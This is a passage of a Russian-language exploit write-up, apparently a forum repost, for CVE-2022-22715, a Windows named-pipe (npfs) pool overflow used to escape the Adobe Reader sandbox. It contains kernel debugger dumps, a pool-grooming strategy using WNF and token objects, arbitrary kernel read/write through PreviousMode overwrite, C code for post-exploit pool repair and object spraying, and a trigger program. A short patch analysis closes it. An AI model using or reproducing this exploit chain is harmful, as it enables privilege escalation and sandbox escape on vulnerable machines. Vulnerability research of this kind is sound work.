ffffb0880d69e0a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
0: kd> !pool ffffb0880d69f000
Pool page ffffb0880d69f000 region is Paged pool
*ffffb0880d69f000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d69f020 size: 20 previous size: 0 (Free) ....
ffffb0880d69f040 size: 20 previous size: 0 (Free) ....
ffffb0880d69f060 size: 20 previous size: 0 (Free) ....
ffffb0880d69f080 size: 20 previous size: 0 (Free) ....
ffffb0880d69f0a0 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a0000
Pool page ffffb0880d6a0000 region is Paged pool
*ffffb0880d6a0000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a0020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a0080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a1000
Pool page ffffb0880d6a1000 region is Paged pool
*ffffb0880d6a1000 size: 20 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a1020 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1040 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1060 size: 20 previous size: 0 (Free) ....
ffffb0880d6a1080 size: 20 previous size: 0 (Free) ....
0: kd> !pool ffffb0880d6a2000 // ======> new VS subsegment header
Pool page ffffb0880d6a2000 region is Paged pool
*ffffb0880d6a2000 size: 30 previous size: 0 (Free) *....
Owning component : Unknown (update pooltag.txt)
ffffb0880d6a2040 size: 880 previous size: 0 (Allocated) Toke
ffffb0880d6a28d0 size: 580 previous size: 0 (Allocated) Wnf Process: ffffc10b74a1c080
ffffb0880d6a2e50 size: 190 previous size: 0 (Free) ..D.
Как видно из макета, в конце корзины LFH есть много свободных дырок пула LFH, а новый подсегмент VS находится рядом с бакетом LFH, если мы сейчас создадим уязвимый объект, он будет расположен в одном из дырок пула LFH.
Обратите внимание, что уязвимый объект может находиться не на последней странице LFH, но в этом нет необходимости, поскольку запись вне границ может повредить корзину LFH, это не повлияет на нашу эксплуатацию.
Код:
0: kd> r
rax=ffffb0880d69e750 rbx=0000000000000002 rcx=0000000000000028
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe4835a302301
rip=fffff800401c2b31 rsp=ffffe4835a301e00 rbp=ffffe4835a301f00
r8=0000000000000fff r9=00000000000004ca r10=000000006e46704e
r11=0000000000001001 r12=ffffe4835a302220 r13=ffffe4835a302310
r14=0000000000000001 r15=000000000000ff01
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040282
Npfs!NpTranslateContainerLocalAlias+0x391:
fffff800`401c2b31 4889442450 mov qword ptr [rsp+50h],rax ss:0018:ffffe483`5a301e50=0000000000000000
0: kd> !pool @rax // ===> vulnerable pool locate at one of free hole in LFH bucket
Pool page ffffb0880d69e750 region is Paged pool
ffffb0880d69e700 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e720 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
*ffffb0880d69e740 size: 20 previous size: 0 (Allocated) *NpFn
Pooltag NpFn : Name block, Binary : npfs.sys
ffffb0880d69e760 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e780 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7c0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e7e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e800 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e820 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e840 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e860 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e880 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8a0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
ffffb0880d69e8c0 size: 20 previous size: 0 (Free) MPCt
ffffb0880d69e8e0 size: 20 previous size: 0 (Allocated) PsTp Process: ffffc10b74a1c080
Затем, после вызова функции RtlUnicodeStringPrintf, она будет за пределами диапазона писать о содержимом памяти размером 0xfffe, что приведет к повреждению пространства пула LFH и пространства пула VS. И поврежденные данные называются именем канала, которым мы можем управлять, нам нужно рассчитать вредоносную полезную нагрузку для изменения _WNF_STAT_DATA-> DataSize.
Когда мы создаем _WNF_STATE_DATA, мы не можем установить DataSize больше, чем область данных _WNF_STATE_DATA, но после запуска уязвимости мы можем изменить его на любое значение, максимальное значение DataSize равно 0x1000, мы можем получить ограниченный примитив r/w. чтобы изменить объект _TOKEN на следующей странице.
Этап 3: Получить произвольный адрес r/w
На этапе 2 мы делаем фэн-шуй пула и получаем ограниченный примитив r/w с объектом _WNF_STATE_DATA, но есть огромная проблема. Как мне найти, какой дескриптор объекта мне нужно использовать?
Если я испорчу объект и буду использовать его дескриптором, поврежденные данные заголовка объекта приведут к сбою системы. И теперь мне нужно узнать имя полезного объекта-менеджера (_WNF_STAT_DATA) и дескриптор рабочего объекта (_TOKEN).
Я придумал решение. Для объекта менеджера, когда мы пытаемся прочитать данные из области данных _WNF_STATE_DATA, мы вызываем NtQueryWnfStateData с указанной длиной, если длина больше DataSize, он возвращает код ошибки 0xc0000023. Для рабочего объекта, когда мы создаем объект _TOKEN, существует уникальный LUID в объекте _TOKEN, и он может быть запрошен NtQueryInformationToken с TokenStatics TokenInformationClass, он называется TokenId, мы можем запросить их, когда мы распыляем объект _TOKEN и сохраняем его в массиве.
Поскольку _WNF_NAME_INSTANCES не будет поврежден, мы можем использовать NtUpdateWnfStateData и NtQueryWnfStateData в обычном режиме.
Я уже повредил некоторые объекты _WNF_STATE_DATA на этапе 2 и изменил DataSize на 0x1000, мы могли бы использовать NtQueryWnfStateData с параметром длины 0x1000, чтобы найти поврежденный объект _WNF_STATE_DATA, и прочитать данные из связанных данных, чтобы найти последнюю поврежденную страницу, нормальную соседнюю страницу на поврежденную страницу.
Чтение связанных данных не повредит структуру объекта, поэтому мы можем использовать NtQueryWnfStateData с параметром длины 0x1000, если объект _WNF_STATE_DATA не поврежден, он вернет 0xC0000023, а если это так, он вернет данные за пределами привязки.
Если внешние данные являются вредоносными данными, я могу убедиться, что _WNF_STATA_DATA не находится на последней поврежденной странице. Я использую этот способ, чтобы узнать последнюю поврежденную страницу, чтобы я мог прочитать следующую нормальную страницу с объектной структурой _TOKEN. Объект _WNF_STATE_DATA на последней поврежденной странице является нашим объектом-менеджером.
В объекте _TOKEN есть поле LUID, мы получаем его из прочитанных данных за пределами привязки и сопоставляем этот LUID в массиве, который мы создали ранее, чтобы, наконец, найти рабочий объект.
На данный момент я получаю имя объекта-менеджера и дескриптор рабочего объекта, затем создаю фальшивые данные 0x1000, включающие фальшивую структуру объекта _TOKEN и структуру _WNF_STATE_DATA. Я уже получил обычное содержимое структуры объекта _TOKEN, вызвав NtQueryWnfStateData ранее, мне просто нужно изменить некоторое значение, чтобы получить произвольный примитив r/w.
Примитив чтения:
Примитив записи
Этап 4: Повышение привилегий и исправление
Мы получаем произвольный адрес r/w примитив, сначала я просто хочу заменить процесс TOKEN на системный, это удается, но через некоторое время я нахожу, что это легко сбой. Например, я повредил некоторые объекты _TOKEN, если я открою processexplorer, он будет проходить таблицу дескрипторов пользовательского пространства для каждого процесса, это вызовет сбой, когда processexplorer получит доступ к таблице дескрипторов эксплуатируемых процессов.
Мне нужно исправить после эксплойта, поэтому я решил не заменять TOKEN процесса, а просто изменить _ETHREAD->PreviousMode, если я установлю предыдущий режим на 0, я вызываю NT API, такой как NtReadVirtualMemory и NtWriteVirtualMemory, ядро будет думать, что поток работает в режиме ядра. Это обычная технология повышения привилегий, мне она удобна для повышения привилегий и исправления вместо того, чтобы каждый раз создавать фейковый объект.
Наконец, я использую рабочий объект, чтобы установить _ETHREAD->PreviousMode в 0, а затем использую NtReadVirtualMemory/NtWriteVirtuaMemory для повышения привилегий и исправления.
Есть кое-что, что нам нужно сделать при исправлении.
1.Повреждённый объект _Token.
Я вызываю сбой поврежденного объекта и понимаю, что он сбоит, потому что я испортил ObjectType в ObjectHeader, поэтому, когда nt ссылается на объект, это приведет к сбою системы. И я могу получить файл cookie в разделе данных nt и вычислить тип объекта в заголовке объекта. Я исправляю каждый поврежденный заголовок объекта _TOKEN.
2.Поврежденная структура пула VS.
Это самая сложная проблема, с которой я сталкиваюсь, я не только искажаю структуру объекта, но и искажаю структуру пула VS, это может вызвать неожиданный BSoD. Я делаю некоторые изменения в распределении VS и обнаруживаю, что существует RBTree для управления пулом VS. Если я знаю адрес пула VS, я могу вычислить адрес менеджера пула VS.
Когда новый пул VS выделяется или старый освобождается, он будет проходить через RBTree из менеджера пула VS, и если я испорчу адрес пула VS, что означает, что когда менеджер пула VS пройдет из корневого узла и получит доступ к поврежденному узлу, произойдет сбой.
Поэтому мне нужно найти аварийный узел в корневом узле RBTree и удалить его из RBTree, это может привести к некоторой утечке памяти, если в поврежденном узле есть какие-то другие пулы VS, но это лучше, чем сбой системы.
Я вычисляю корневой пул VS, обхожу RBTree и удаляю узел из RBTree.
C:
UINT64 zeroSet = 0x0;
UINT64 ntaddr = KernelSymbolInfo();
UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
UINT64 pGlobalHeapValue;
UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
UINT64 pPoolChunkValue;
X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
UINT64 pRootChunkAddr;
UINT64 pRightChunk;
UINT64 pLeftChunk;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
UINT64 pFinalChunk = NULL;
UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
UINT64 pTempRootChunk;
pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
После всех исправлений пришло время запустить cmd. Поскольку процесс рендеринга Adobe Reader находится в задании, я не могу создать из него процесс, поэтому я вставляю шелл-код в процесс браузера и записываю файл в томе C: для завершения эксплойта.
Патч
Microsoft исправила уязвимость в феврале 2022 года, npfs использует тип int для вычисления общего размера и проверки, превышает ли общий размер максимальное значение ushort.
C:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
if ( v13 )
{
if ( TokenInformation )
{
v20 = DestinationString.Length + v37.Length;
v21 = v20 + 120;
v22 = v20 + 122;
}
else
{
v21 = v37.Length + 96;
v22 = v37.Length + 98;
}
}
else
{
v21 = DestinationString.Length + 112;
v22 = DestinationString.Length + 114;
}
if ( !v18 )
v22 = v21;
v23 = v19 + v22;
if ( v23 <= 0xFFFE )
{
v28.MaximumLength = v23;
Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}
Демонстрация, как я использую WNF API с доступным SD
C:
BOOLEAN AllocateWnfObject(DWORD dwWantedSize, PWNF_STATE_NAME pStateName) {
NTSTATUS Status;
HANDLE gProcessToken;
WNF_TYPE_ID TypeID = { 0 };
PSECURITY_DESCRIPTOR SecurityDescriptor;
ULONG RetLength = 0;
BOOL DaclPresent, SaclPresent;
BOOL DaclDefault, SaclDefault, OwnerDefault, GroupDefault;
PACL pDacl, pSacl;
PSID pOwner, pGroup;
ACE_HEADER* AceHeader;
ACCESS_ALLOWED_ACE* pACE;
PSECURITY_DESCRIPTOR GetSD;
Status = fNtOpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &gProcessToken);
if (Status < 0) {
return FALSE;
}
SecurityDescriptor = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000); // initialize a new SD
GetSD = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
Status = fNtQuerySecurityObject(
gProcessToken,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
GetSD,
0x1000,
&RetLength); // Query a accessible SD from process token
if (Status < 0)
{
return FALSE;
}
// Get Owner/Group/DACL/SACL from accessible security object
GetSecurityDescriptorOwner(GetSD, &pOwner, &OwnerDefault);
GetSecurityDescriptorGroup(GetSD, &pGroup, &GroupDefault);
GetSecurityDescriptorDacl(GetSD, &DaclPresent, &pDacl, &DaclDefault);
GetSecurityDescriptorSacl(GetSD, &SaclPresent, &pSacl, &SaclDefault);
AceHeader = (ACE_HEADER*)&pDacl[1];
while ((DWORD)AceHeader < (DWORD)pDacl + (DWORD)pDacl->AclSize)
{
if (AceHeader->AceType == ACCESS_ALLOWED_ACE_TYPE)
{
pACE = (ACCESS_ALLOWED_ACE*)&AceHeader[0];
pACE->Mask = GENERIC_ALL;
}
AceHeader = (ACE_HEADER*)((DWORD)AceHeader + (DWORD)AceHeader->AceSize);
}
// Set it to new SD
InitializeSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorOwner(SecurityDescriptor, pOwner, OwnerDefault);
SetSecurityDescriptorGroup(SecurityDescriptor, pGroup, GroupDefault);
SetSecurityDescriptorDacl(SecurityDescriptor, DaclPresent, pDacl, DaclDefault);
SetSecurityDescriptorSacl(SecurityDescriptor, SaclPresent, pSacl, SaclDefault);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, GetSD);
Status = fNtCreateWnfStateName(
pStateName,
WnfTemporaryStateName,
WnfDataScopeSession,
FALSE,
&TypeID,
0x1000,
SecurityDescriptor); // invoke WNF API with new SD
if (Status < 0)
{
return FALSE;
}
PVOID lpBuff = (PVOID)malloc(dwWantedSize - 0x20);
memset(lpBuff, 0x00, dwWantedSize - 0x20);
Status = fNtUpdateWnfStateData(
pStateName,
lpBuff,
dwWantedSize - 0x20,
&TypeID,
NULL,
0,
0);
if (Status < 0)
{
return FALSE;
}
free(lpBuff);
return TRUE;
}
C++:
#include <stdio.h>
#include <string>
#include <stdlib.h>
#include <atlstr.h>
#include <winternl.h>
#include <tlhelp32.h>
#pragma comment(lib, "ntdll.lib")
#define OVERFLOWLENGTH 0xfee6
typedef NTSTATUS(NTAPI* pfnNtCreateFile)(
_Out_ PHANDLE FileHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ PLARGE_INTEGER AllocationSize,
_In_ ULONG FileAttributes,
_In_ ULONG ShareAccess,
_In_ ULONG CreateDisposition,
_In_ ULONG CreateOptions,
_In_ PVOID EaBuffer,
_In_ ULONG EaLength
);
FARPROC GetProcAddressNT(LPCSTR lpName)
{
return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName);
}
#define DEFINE_NTDLL(x) pfn ## x f ## x = (pfn ## x)GetProcAddressNT(#x)
int main() {
DEFINE_NTDLL(NtCreateFile);
NTSTATUS Status;
HANDLE hPipe = INVALID_HANDLE_VALUE;
UNICODE_STRING name = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
IO_STATUS_BLOCK io_status = { 0 };
CString strPipeName = L"\\Device\\NamedPipe\\LOCAL\\";
wchar_t JunkPayload[OVERFLOWLENGTH] = { 0 };
wmemset(JunkPayload, 0x4141, OVERFLOWLENGTH / sizeof(wchar_t));
strPipeName.Append(JunkPayload);
RtlInitUnicodeString(&name, strPipeName.GetBuffer());
InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, NULL, nullptr);
Status = fNtCreateFile(&hPipe, GENERIC_READ, &obj_attr, &io_status, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE, NULL, 0);
if (hPipe == INVALID_HANDLE_VALUE) {
return 0;
}
return 0;
}
источник: https://whereisk0shl.top/post/break-me-out-of-sandbox-in-old-pipe-cve-2022-22715-windows-dirty-pipe
Последнее редактирование модератором: